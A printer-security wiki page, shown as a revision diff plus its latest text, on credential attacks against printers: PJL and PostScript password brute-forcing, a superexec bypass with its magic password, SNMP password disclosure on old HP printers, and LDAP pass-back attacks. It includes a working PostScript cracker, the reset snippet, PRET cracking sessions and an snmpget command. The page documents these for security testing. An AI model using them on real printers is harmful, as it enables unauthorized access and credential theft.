Difference between revisions of "Credential disclosure"

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== Password Disclosure ==
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Printers are commonly deployed with a default password or no initial password at all. In both cases, end-users or administrators have to actively set a password to secure the device. This article discusses generic brute-force attacks against PJL and PostScript passwords as well as model-specific password disclosure.
  
−
=== SNMP ===
+
== Brute-Force Attacks ==
  
−
Ancient HP printers (manufactured 2003 and earlier) had a bug which allowed an attacker to retrieve the password for the embedded web server through SNMP requests. The vulnerable OID to be requested (''.iso.org.dod.internet.private.enterprises.hp.nm.system.net-peripheral.net-printer.generalDeviceStatus.gdPasswords'') was even documented by HP. Other vendors may have similar SNMP based issues. Penetration testers may find flaws by studying the various publicly available MIBs which are released by most printer manufacturers.
+
Besides credentials leaked from sources like [[File system access|file system]] or [[memory access]], [[#SNMP|SNMP]] and the printer's [[#Pass-Back|embedded web server]], printing languages offer limited passwords protection mechanisms themselves. Breaking such mechanisms has a priority in this wiki because it focuses on printer-specific weaknesses. Furthermore, whilst the routines to set the password for a printer's embedded web server differ from model to model they are standardized for both [[PJL]] and [[PostScript]]. Although it is not very common for end-users or even administrators to set or actually know about these passwords, if enabled they can disable some of the attacks discussed in this wiki. Attackers should therefore have a motivation to crack or bypass them if necessary.
  
−
'''How to test this attack?'''
+
=== PJL ===
  
−
To test this attack, the ''snmpset'' tool can be used as shown below:  
+
PJL offers the possibility to set a password to lock access to the printer's hard disk and/or control panel. PJL disk lock as shown below is the defense mechanism propagated by HP against PJL file system access, including its known path traversal vulnerabilities <ref>''[http://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c02004333 Security Bulletin HPSBPI02575 SSRT090255 Rev. 1]'', HP Inc., 2010</ref>:
  
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<syntaxhighlight lang=sh>
+
@PJL JOB PASSWORD=0
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$ snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
+
@PJL DEFAULT PASSWORD=12345
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iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 41 41 00 …
+
@PJL DEFAULT DISKLOCK=ON
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</syntaxhighlight>
+
@PJL DEFAULT CPLOCK=ON
  
−
Vulnerable devices will return the password in hex-decimal (here: ''AAAAA''), while newer devices do only respond with zerobytes.
+
PJL passwords however are vulnerable to brute-force attacks because of their limited 16 bit key size as demonstrated by <ref>''Attacking Networked Embedded Devices'', Black Hat USA, FX and FtR of Phenoelit, 2002</ref> who were able to unlock the disk protection within 6 hours in the worst case. With PJL interpreters having gotten faster while the PJL standard was never updated and still limits passwords to numerical values ranging from 1 to 65,535 <ref>''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, ch. 6-21</ref>, cracking time has efficiently decreased. In a test with 20 devices, between 50 and 1,000 passwords could be evaluated per second leading to average cracking times between 30 seconds and 10 minutes.
  
−
'''Who can perform this attack?'''
+
While PJL passwords can be set on various devices, actual disk lock and/or control panel lock is only supported by few printers. It is unclear if the password has any undocumented, proprietary effects on these machines or is just a dummy variable. Furthermore, non-compliant with the PJL standard, Brother based devices do not even verify the password to lock or unlock the control panel, rendering it practically useless.
−
 
+
−
Anyone who can send network packets to port 161/udp of the printer device.
+
−
 
+
−
=== Pass-Back Attacks ===
+
−
 
+
−
Printers are commonly deployed with a default password or no initial password at all. In both cases, end-user or administrators have to actively set a password to secure the device. One approach to systematically collect credentials and other information from the web server is the [[Praeda] tool. Besides exploiting vulnerabilities that lead to disclosure of device passwords, the program gathers usernames and email addresses, which are often publicly available via the printer's web interface and can be used for further network penetration tests. One remarkable class of attacks to be mentioned in this context is pass-back attacks were `an MFP device is directed into authenticating [...] against a rogue system rather than the expected server' <ref>''[http://foofus.net/goons/percx/praeda/pass-back-attack.pdf Anatomy of a Pass-Back-Attack: Intercepting Authentication Credentials Stored in Multifunction Printers]'', D. Heiland and M. Belton, 2011</ref>. This works in setups where an MFP verifies users by requesting and external [https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol LDAP] server. Note that the password to access the LDAP server is stored on the MFP itself. If the MFP allows an attacker to change the address of the LDAP server while keeping the old password, whenever someone (for example, the attacker itself) tries to authenticate with the MFP, the MFP leaks the original LDAP password to the attacker-controlled server. This example shows that passwords resident on printers may not only harm the device itself if integrated into a company's network. Printers and MFPs – which may offer insufficient protection – are therefore a good starting point in network penetration tests.
+
  
 
'''How to test this attack?'''
 
'''How to test this attack?'''
  
−
Check if you can change settings like the LDAP hostname in printer's embedded web server without authenticating.
+
The ''lock'' and ''unlock'' commands of [[PRET]] can be used to test brute-force attacks against PJL passwords:
  
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If supported Set the LDAP server in the To test this attack, the ''snmpset'' tool can be used as shown below:
+
./pret.py -q printer pjl
−
 
+
Connection to printer established
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<syntaxhighlight lang=sh>
+
−
$ snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
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Welcome to the pret shell. Type help or ? to list commands.
−
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 41 41 00 …
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printer:/> lock 999
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</syntaxhighlight>
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PIN protection:  ENABLED
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Panel lock:     ON
−
Vulnerable devices will return the password in hex-decimal (here: ''AAAAA''), while newer devices do only respond with zerobytes.
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Disk lock:      ON
 +
printer:/> unlock
 +
No PIN given, cracking.
 +
PIN protection:  DISABLED
 +
Panel lock:      OFF
 +
Disk lock:      OFF
  
 
'''Who can perform this attack?'''
 
'''Who can perform this attack?'''
  
−
Anyone who can access the printer's embedded web server. This may include [[https://en.wikipedia.org/wiki/Cross-site_request_forgery CRSF]] attacker, if the web application has no CSRF protection.
+
Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]]. Feedback from the printer is not required because attackers can blindly remove the password protection by including all 65,535 possible combinations in a single print job.
  
 +
=== PostScript ===
  
 +
PostScript offers two types of passwords: The ''SystemParamsPassword'' is used to change print job settings like paper size, while the ''StartJobPassword'' is required to exit the server loop and therefore permanently alter the PostScript environment. The ''checkpassword'' operator which takes either an integer or a string as input checks for both passwords at once <ref>''[http://ftp.ktug.org/obsolete/info/adobe/devtechnotes/pdffiles/ps2016.supplement.pdf PostScript Language Reference Manual Supplement for Version 2016]'', Adobe Systems Inc., 1995, p. 194</ref>. The key size is very large: PostScript strings can contain arbitrary ASCII characters and have a maximum length of 65,535 <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 739</ref> which theoretically allows 524,280 bit passwords. On the positive side (from an attackers point of view) brute-force attacks against PostScript passwords can be performed extremely fast because the PostScript interpreter can be programmed to literally crack itself. A simple PostScript password cracker testing for numerical values as passwords is given below:
  
 +
<syntaxhighlight lang=postscript>
 +
/min 0 def /max 1000000 def
 +
statusdict begin {
 +
  min 1 max
 +
  {dup checkpassword {== flush stop} {pop} ifelse} for
 +
} stopped pop
 +
</syntaxhighlight>
  
 +
Tested printers were capable of performing between 5,000 and 100,000 password verifications per second. Such enormous cracking rates can be achieved because a printer's RIP is highly optimized for fast processing of PostScript code. Brother based devices are exceptions as ''BR-Script'' only accepts one password per second but also checks for the very first character of the password only which effectively limits the key size to 256 characters or 8 bit. As it seems, Kyocera's ''KPDL'' does not support setting permanent PostScript passwords at all.
  
 +
Another approach is to '''bypass PostScript passwords''' by resetting them with Adobe's proprietary ''superexec'' operator. This operator resides in the ''internaldict'' dictionary, which is ‘protected’ by a static, magic password (<code>1183615869</code>, see <ref>''[http://www.tinaja.com/glib/interdic.pdf PostScript’s Internaldict, Superexec & the pdfmark Instruction Set]'', D. Lancaster, 2002</ref>). Wrapping PostScript code into ''superexec'' allows an attacker to ignore various protection mechanisms of the language, which would normally raise an ''invalidaccess'' error. This can be used to set PostScript passwords without initially submitting the current password as shown below:
  
−
<!--
+
<syntaxhighlight lang=postscript>
−
% \textbf{SNMP}
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{ << /SystemParamsPassword (0)
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% \begin{lstlisting}[caption=Password Disclosure (older HP printers only\label{lst:snmp-passwd-disclosure}]
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    /StartJobPassword (0) >> setsystemparams
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% # snmpget -v 1 -c public printed                          .1.3.6.1.4.1.11.2.3.9.1.1.13.0
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} 1183615869 internaldict /superexec get exec
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% \end{lstlisting}
+
−
%
+
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% idee: systemativally try to GET/SET this and pjl-password (1.3.6.1.4.1.11.2.3.9.4.2.1.3.5.1.0) this via PML/SNMP
+
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%
+
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% Printer-MIB, HP-LASERJET-COMMON-MIB => read more mibs, e.g. webserver-passwd
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% maybe download mibs for *all* printers and look for passwd-disclosure
+
  
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% \textbf{EWS} % Web Inferface
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</syntaxhighlight>
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% in the early days, saved password often within html source code
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% also: GSOAP and other web services
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−
-->
+
  
 +
'''How to test this attack?'''
  
 +
The ''lock'' and ''unlock'' commands of [[PRET]] can be used to test brute-force attacks against numeric (integer) PostScript passwords or to bypass them with ''superexec'' magic:
  
 +
./pret.py -q printer ps
 +
Connection to printer established
 +
 +
Welcome to the pret shell. Type help or ? to list commands.
 +
printer:/> lock 999
 +
printer:/> unlock
 +
No password given, cracking.
 +
Device unlocked with password: 999
 +
printer:/> lock S0me_Re4lly_g00d_Passw0rd!
 +
printer:/> unlock bypass
 +
Resetting password to zero with super-secret PostScript magic
 +
Device unlocked with password: 0
  
 +
'''Who can perform this attack?'''
  
−
\subsection{Credential disclosure}\label{par:eval-credential-disclosure}
+
Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]]. Feedback from the printer is not required because attackers can blindly remove the password protection by cracking it in a single print job.
−
% obtaining web server passwords through NVRAM dumping or file system access as
+
  
−
% It is worth emphasizing that the cracking is speed nearly independed of the network latency because
+
== Password Disclosure ==
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% not, only very few bytes have to be sent and the bottleneck is the printer's PJL interpreter
+
−
% AND because we can simply send 65535 commands at once (and maybe check for a single DISABLED response).
+
  
−
% even when no feedback machanism is provided given a worst-case model as there is no challenge-response mechanism in place (aka check if passwort is correct, else job is canceled by pjl interpreter). instead we can just reset the password using all possible values of the keyspace. no backchannel/feedback needed.
+
=== SNMP ===
  
 +
Ancient HP printers (manufactured 2003 and earlier) had a bug which allowed an attacker to retrieve the password for the embedded web server through SNMP requests. The vulnerable OID to be requested (''.iso.org.dod.internet.private.enterprises.hp.nm.system.net-peripheral.net-printer.generalDeviceStatus.gdPasswords'') was even documented by HP. Other vendors may have similar SNMP based issues. Penetration testers may find flaws by studying the various publicly available MIBs released by printer manufacturers.
  
 +
'''How to test this attack?'''
  
 +
To test this attack against ancient HP printers, the ''snmpset'' tool can be used as shown below:
  
 +
<syntaxhighlight lang=sh>
 +
snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
 +
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 …
 +
</syntaxhighlight>
  
 +
Vulnerable devices will return the password in hexadecimal (here: ''AAA''), while newer devices do only respond with zerobytes.
  
 +
'''Who can perform this attack?'''
  
 +
Anyone who can send network packets to port 161/udp of the printer device.
  
 +
=== Pass-Back ===
  
−
 
+
Another interesting class of attacks is pass-back attacks were ‘an MFP device is directed into authenticating [...] against a rogue system rather than the expected server’ <ref>''[http://foofus.net/goons/percx/praeda/pass-back-attack.pdf Anatomy of a Pass-Back-Attack: Intercepting Authentication Credentials Stored in Multifunction Printers]'', D. Heiland and M. Belton, 2011</ref>. This works in setups where a printer/MFP authenticates users via an external [https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol LDAP] server. Note that the credentials to access the LDAP server are stored on the MFP itself. If the MFP allows an attacker to change the address of the LDAP server while keeping the stored credentials, whenever someone (for example, the attacker itself) tries to authenticate with the MFP, the MFP leaks the original LDAP credentials to the attacker-controlled server. This example shows that passwords resident on printers may not only harm the device itself if integrated into a company's network. Printers and MFPs – which may offer insufficient protection – are therefore a good starting point in network penetration tests.
−
 
+
−
 
+
−
 
+
−
 
+
−
 
+
−
% While Praeda does a good job in ... it does not attack the protection mechanisms in printer languages itself.
+
−
 
+
−
 
+
−
== Brute-Force Attacks ==
+
−
 
+
−
Besides information leaked from sources like the embedded web server, printing languages offer limited passwords protection mechanisms themselves. Breaking such mechanisms has a priority in this wiki because it focuses on printer-specific weaknesses. Furthermore, whilst the routines to set the password for a printer's embedded web server differ from model to model they are standardized for both, PJL and PostScript. Although it is not very common for end-users or even administrators to set or actually know about these passwords, if enabled they can break some of the attacks discussed in this wiki. Attackers should therefore have a motivation to crack or bypass them if necessary.
+
−
 
+
−
=== PJL ===
+
−
 
+
−
PJL offers the possibility to set a password to lock access to the printer's hard disk and/or control panel. The standard however allows only numerical values ranging from 1 to 65,535 as key space <ref>''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, ch. 6-21</ref>. Brute-force attacks as proposed by <ref>''Attacking Networked Embedded Devices'', Black Hat USA, FX and FtR of Phenoelit, 2002</ref> thus seem feasible. PostScript offers two types of passwords: one to change long-term system settings, the other to permanently alter the PostScript environment. The standard makes no explicit statement about key sizes, however both passwords are of type ''string'' which means up to 65,535 characters <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 739</ref>. On the other hand, for simple passwords brute-force is very fast as passwords can be verified within a PostScript program running on the printer device itself. Performance can therefore be compared to offline cracking.
+
−
 
+
−
An evaluation of brute-force attacks against PJL and PostScript passwords is given in \autoref{par:eval-credential-disclosure}. In the prototype implementation, the \texttt{lock} and \texttt{unlock} commands are used for setting and cracking passwords.
+
−
 
+
−
In addition to web server passwords which can be obtained by memory or file system access as previously described, printer language credentials themselves are a valuable target as they are required for some of the attacks described in this work. For example, PJL disk lock as shown in \autoref{lst:pjl-passwd} is the defense mechanism propagated by HP against PJL file system access, including known path traversal vulnerabilities \cite{hp2010pjl}. PJL passwords however are vulnerable to brute-force attacks because of their limited 16 bit key size as demonstrated by \cite{phenoelit2002embedded} who were able to unlock the disk protection within six hours in the worst case. With PJL interpreters having gotten faster while the PJL standard was never updated and still limits passwords to numerical values ranging from 1 to 65535 \cite{hp1997pjl}, cracking time has efficiently decreased. The devices in our test printer pool, could verify between 50 and 1,000 passwords per second leading to average cracking times between 30 seconds and ten minutes as shown in \autoref{tab:cracking-results}.
+
−
 
+
−
\begin{lstlisting}[caption=PJL control panel and disk lock\label{lst:pjl-passwd}]
+
−
@PJL JOB PASSWORD=0
+
−
@PJL DEFAULT PASSWORD=12345
+
−
@PJL DEFAULT DISKLOCK=ON
+
−
@PJL DEFAULT CPLOCK=ON
+
−
\end{lstlisting}
+
−
 
+
  
 
'''How to test this attack?'''
 
'''How to test this attack?'''
  
−
./pret.py -q printer pjl
+
Check if you can change printer settings like the LDAP hostname while keeping the old LDAP password.
−
Connection to printer established
+
−
+
−
  Welcome to the pret shell. Type help or ? to list commands.
+
−
  printer:/> flood
+
  
 
'''Who can perform this attack?'''
 
'''Who can perform this attack?'''
  
−
Any anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]]. Feedback from the printer is not required because attackers can blindly remove the password protection by including all 65535 possible combinations in a single print job.
+
Usually anyone who can access the printer's embedded web server. This may include [https://en.wikipedia.org/wiki/Cross-site_request_forgery CRSF] attacker, if the web application running on the printer has no CSRF protection.
−
 
+
−
 
+
−
 
+
−
 
+
−
 
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−
Note that while PJL passwords could be set on various devices, actual disk lock and/or control panel lock was only supported by the \textit{HP LaserJet 4200N}, the \textit{HP LaserJet 4250N}, the \textit{Brother MFC-9120CN} and the \textit{Konica bizhub 20p}. We are not aware if the password has any undocumented, proprietary effects on the other machines or is just a dummy variable.
+
−
 
+
−
 
+
−
Non-compliant with the PJL standard, the \textit{Brother MFC-9120CN}, the \textit{Brother DCP-9045CDN} and the \textit{Konica bizhub 20p} do not verify the password to lock or unlock the control panel, rendering it practically useless.
+
−
 
+
−
=== PostScript ===
+
−
 
+
−
PostScript has similar protection mechanisms: The ''SystemParamsPassword'' is used to change print job settings like paper size while the ''StartJobPassword'' is required to exit the server loop and therefore permanently alter the PostScript environment. The ''checkpassword'' operator which takes either an integer or a string as input checks for both passwords at once <ref>''[http://ftp.ktug.org/obsolete/info/adobe/devtechnotes/pdffiles/ps2016.supplement.pdf PostScript Language Reference Manual Supplement for Version 2016]'', Adobe Systems Inc., 1995, p. 194</ref>. The key size is very large: PostScript strings can contain arbitrary ASCII characters and have a maximal length of 65,565 <ref>''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 739</ref> which theoretically allows 524,280 bit passwords. On the positive side (from an attackes point of view) brute-force attacks against PostScript passwords can be performed extremely fast because the PostScript interpreter can be programmed to literally crack itself. A simple PostScript password cracker testing for numerical values as passwords is given below:
+
−
 
+
−
<syntaxhighlight lang=postscript>
+
−
/min 0 def /max 1000000 def
+
−
statusdict begin {
+
−
  min 1 max
+
−
  {dup checkpassword {== flush stop} {pop} ifelse} for
+
−
} stopped pop
+
−
\end{lstlisting}
+
−
</syntaxhighlight>
+
−
 
+
−
Results are given in \autoref{tab:cracking-results}. Tested printers were capable of performing between 5,000 and 100,000 password verifications per second. Such enormous cracking rates can be achieved because a printer's RIP is highly optimized for fast processing of PostScript code. The \textit{Brother MFC-9120CN}, the \textit{Brother DCP-9045CDN} and the \textit{Konica bizhub 20p} are exceptions. They only accept one password per second but also check for the very first character of the password only which effectively limits the key size to 256 characters or 8 bit. The \textit{Samsung CLX-3305W} and the \textit{Samsung MultiPress 6345N} do not allow PostScript feedback and their printing functionality is mechanically broken, so we used a side-channel based on timing to estimate cracking speed. The \textit{Kyocera FS-C5200DN} does not support permanent PostScript passwords.
+
−
 
+
−
% on Konica, we can simply DINQUIRE the PASSWORD:
+
−
% :/> lock 1
+
−
% PIN protection:  6500
+
−
% also not tehat for the dells, the dingquire command showed the password
+
−
 
+
−
% newer devices use 2,14mio possibilities (deskjet?)
+
  
−
\begin{table}[H] % n/a*: Brother devices extrawurst | n/a**: dell devices echo the password
 
−
\begin{tabularx}{\textwidth}{|X|r|r|r|r|}
 
−
  \hline
 
−
  Printer model            & \multicolumn{2}{c|}{PJL passwords}  & \multicolumn{2}{c|}{PostScript passwords}\\
 
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  \cline{2-5}
 
−
                            &  key size &  tests/sec &      key size &  tests/sec\\
 
−
  \hline
 
−
  \hline                                            %  $2^{19}$
 
−
  HP LaserJet 1200          &  16 bit &        200 &  524,280 bit &    5,000 \\ % 192.168.50.48            | PS: 170
 
−
  HP LaserJet 4200N        &  16 bit &        200 &  524,280 bit &  91,000 \\ % 192.168.50.30    ON  ON  | PS: 11
 
−
  HP LaserJet 4250N        &  16 bit &        130 &  524,280 bit &  100,000 \\ % 192.168.50.110  ON  ON  | PS: 10
 
−
  HP LaserJet P2015dn      &  16 bit &      1,000 &  524,280 bit &  83,000 \\ % 192.168.50.45            | PS: 12
 
−
  HP LaserJet M2727nfs      &  16 bit &        100 &  524,280 bit &  100,000 \\ % 192.168.50.38            | PS: 10
 
−
  HP LaserJet 3392 AiO      &  16 bit &      1,000 &  524,280 bit &  53,000 \\ % 192.168.50.36            | PS: 19
 
−
  HP Color LJ CP1515n      &  16 bit &      1,000 &  524,280 bit &  100,000 \\ % 192.168.50.42            | PS: 10
 
−
  Brother MFC-9120CN        &  16 bit &        n/a &        8 bit &        1 \\ % 192.168.50.37    ON UN  | PS: BROTHER | n/a*
 
−
  Brother DCP-9045CDN      &  16 bit &        n/a &        8 bit &        1 \\ % 192.168.50.34            | PS: BROTHER | n/a*
 
−
  Lexmark X264dn            &      n/a &        n/a &  524,280 bit &    5,000 \\ % 192.168.50.39            | PS: 170
 
−
  Lexmark E360dn            &      n/a &        n/a &  524,280 bit &    8,000 \\ % 192.168.50.43            | PS: 120
 
−
  Lexmark C736dn            &      n/a &        n/a &  524,280 bit &  53,000 \\ % 192.168.50.202          | PS: 19
 
−
  Dell 5130cdn              &      n/a &        n/a &  524,280 bit &  62,000 \\ % 192.168.50.24            | PS: 16      | n/a**
 
−
  Dell 1720n                &      n/a &        n/a &  524,280 bit &  12,000 \\ % 192.168.50.44            | PS: 80
 
−
  Dell 3110cn              &      n/a &        n/a &  524,280 bit &  50,000 \\ % 192.168.50.33            | PS: HMMM    | n/a**
 
−
  Kyocera FS-C5200DN        &  16 bit &        50 &          n/a &      n/a \\ % 192.168.50.35  OFF  OFF  | PS: --
 
−
  Samsung CLX-3305W        &      n/a &        n/a &  524,280 bit &  62,000 \\ % 192.168.50.87            | PS: HMMM
 
−
  Samsung MultiPress 6345N  &      n/a &        n/a &          n/a &      n/a \\ % 192.168.50.92            | PS: HMMM
 
−
  Konica bizhub 20p        &  16 bit &        n/a &        8 bit &        1 \\ % 192.168.50.123  ON  UN  | PS: BROTHER | n/a*
 
−
  OKI MC342dn              &      n/a &        n/a &  524,280 bit &  38,000 \\ % 192.168.50.127
 
−
% \hline
 
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% Konica bizhub C454e      &  16 bit &        50 &  524,280 bit &        ? \\
 
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\caption{Exhaustive key search in PJL and PostScript}
 
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\label{tab:cracking-results}
 
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Latest revision as of 13:01, 22 November 2017

Printers are commonly deployed with a default password or no initial password at all. In both cases, end-users or administrators have to actively set a password to secure the device. This article discusses generic brute-force attacks against PJL and PostScript passwords as well as model-specific password disclosure.

Brute-Force Attacks

Besides credentials leaked from sources like file system or memory access, SNMP and the printer's embedded web server, printing languages offer limited passwords protection mechanisms themselves. Breaking such mechanisms has a priority in this wiki because it focuses on printer-specific weaknesses. Furthermore, whilst the routines to set the password for a printer's embedded web server differ from model to model they are standardized for both PJL and PostScript. Although it is not very common for end-users or even administrators to set or actually know about these passwords, if enabled they can disable some of the attacks discussed in this wiki. Attackers should therefore have a motivation to crack or bypass them if necessary.

PJL

PJL offers the possibility to set a password to lock access to the printer's hard disk and/or control panel. PJL disk lock as shown below is the defense mechanism propagated by HP against PJL file system access, including its known path traversal vulnerabilities [1]: 

@PJL JOB PASSWORD=0
@PJL DEFAULT PASSWORD=12345
@PJL DEFAULT DISKLOCK=ON
@PJL DEFAULT CPLOCK=ON

PJL passwords however are vulnerable to brute-force attacks because of their limited 16 bit key size as demonstrated by [2] who were able to unlock the disk protection within 6 hours in the worst case. With PJL interpreters having gotten faster while the PJL standard was never updated and still limits passwords to numerical values ranging from 1 to 65,535 [3], cracking time has efficiently decreased. In a test with 20 devices, between 50 and 1,000 passwords could be evaluated per second leading to average cracking times between 30 seconds and 10 minutes.

While PJL passwords can be set on various devices, actual disk lock and/or control panel lock is only supported by few printers. It is unclear if the password has any undocumented, proprietary effects on these machines or is just a dummy variable. Furthermore, non-compliant with the PJL standard, Brother based devices do not even verify the password to lock or unlock the control panel, rendering it practically useless.

How to test this attack?

The lock and unlock commands of PRET can be used to test brute-force attacks against PJL passwords: 

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
PIN protection:  ENABLED
Panel lock:      ON
Disk lock:       ON
printer:/> unlock
No PIN given, cracking.
PIN protection:  DISABLED
Panel lock:      OFF
Disk lock:       OFF

Who can perform this attack?

Anyone who can print, for example through USB drive or cable, Port 9100 printing or Cross-site printing. Feedback from the printer is not required because attackers can blindly remove the password protection by including all 65,535 possible combinations in a single print job.

PostScript

PostScript offers two types of passwords: The SystemParamsPassword is used to change print job settings like paper size, while the StartJobPassword is required to exit the server loop and therefore permanently alter the PostScript environment. The checkpassword operator which takes either an integer or a string as input checks for both passwords at once [4]. The key size is very large: PostScript strings can contain arbitrary ASCII characters and have a maximum length of 65,535 [5] which theoretically allows 524,280 bit passwords. On the positive side (from an attackers point of view) brute-force attacks against PostScript passwords can be performed extremely fast because the PostScript interpreter can be programmed to literally crack itself. A simple PostScript password cracker testing for numerical values as passwords is given below: 

/min 0 def /max 1000000 def
statusdict begin {
  min 1 max
  {dup checkpassword {== flush stop} {pop} ifelse} for
} stopped pop

Tested printers were capable of performing between 5,000 and 100,000 password verifications per second. Such enormous cracking rates can be achieved because a printer's RIP is highly optimized for fast processing of PostScript code. Brother based devices are exceptions as BR-Script only accepts one password per second but also checks for the very first character of the password only which effectively limits the key size to 256 characters or 8 bit. As it seems, Kyocera's KPDL does not support setting permanent PostScript passwords at all.

Another approach is to bypass PostScript passwords by resetting them with Adobe's proprietary superexec operator. This operator resides in the internaldict dictionary, which is ‘protected’ by a static, magic password (1183615869, see [6]). Wrapping PostScript code into superexec allows an attacker to ignore various protection mechanisms of the language, which would normally raise an invalidaccess error. This can be used to set PostScript passwords without initially submitting the current password as shown below: 

{ << /SystemParamsPassword (0)
     /StartJobPassword (0) >> setsystemparams
} 1183615869 internaldict /superexec get exec

How to test this attack?

The lock and unlock commands of PRET can be used to test brute-force attacks against numeric (integer) PostScript passwords or to bypass them with superexec magic: 

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
printer:/> unlock
No password given, cracking.
Device unlocked with password: 999
printer:/> lock S0me_Re4lly_g00d_Passw0rd!
printer:/> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0

Who can perform this attack?

Anyone who can print, for example through USB drive or cable, Port 9100 printing or Cross-site printing. Feedback from the printer is not required because attackers can blindly remove the password protection by cracking it in a single print job.

Password Disclosure

SNMP

Ancient HP printers (manufactured 2003 and earlier) had a bug which allowed an attacker to retrieve the password for the embedded web server through SNMP requests. The vulnerable OID to be requested (.iso.org.dod.internet.private.enterprises.hp.nm.system.net-peripheral.net-printer.generalDeviceStatus.gdPasswords) was even documented by HP. Other vendors may have similar SNMP based issues. Penetration testers may find flaws by studying the various publicly available MIBs released by printer manufacturers.

How to test this attack?

To test this attack against ancient HP printers, the snmpset tool can be used as shown below: 

snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 …

Vulnerable devices will return the password in hexadecimal (here: AAA), while newer devices do only respond with zerobytes.

Who can perform this attack?

Anyone who can send network packets to port 161/udp of the printer device.

Pass-Back

Another interesting class of attacks is pass-back attacks were ‘an MFP device is directed into authenticating [...] against a rogue system rather than the expected server’ [7]. This works in setups where a printer/MFP authenticates users via an external LDAP server. Note that the credentials to access the LDAP server are stored on the MFP itself. If the MFP allows an attacker to change the address of the LDAP server while keeping the stored credentials, whenever someone (for example, the attacker itself) tries to authenticate with the MFP, the MFP leaks the original LDAP credentials to the attacker-controlled server. This example shows that passwords resident on printers may not only harm the device itself if integrated into a company's network. Printers and MFPs – which may offer insufficient protection – are therefore a good starting point in network penetration tests.

How to test this attack?

Check if you can change printer settings like the LDAP hostname while keeping the old LDAP password.

Who can perform this attack?

Usually anyone who can access the printer's embedded web server. This may include CRSF attacker, if the web application running on the printer has no CSRF protection.


  1. ↑ Security Bulletin HPSBPI02575 SSRT090255 Rev. 1, HP Inc., 2010
  2. ↑ Attacking Networked Embedded Devices, Black Hat USA, FX and FtR of Phenoelit, 2002
  3. ↑ Printer Job Language Technical Reference Manual, HP Inc., 1997, ch. 6-21
  4. ↑ PostScript Language Reference Manual Supplement for Version 2016, Adobe Systems Inc., 1995, p. 194
  5. ↑ PostScript Language Reference Manual, 3rd Edition, Adobe Systems Inc., 1999, p. 739
  6. ↑ PostScript’s Internaldict, Superexec & the pdfmark Instruction Set, D. Lancaster, 2002
  7. ↑ Anatomy of a Pass-Back-Attack: Intercepting Authentication Credentials Stored in Multifunction Printers, D. Heiland and M. Belton, 2011
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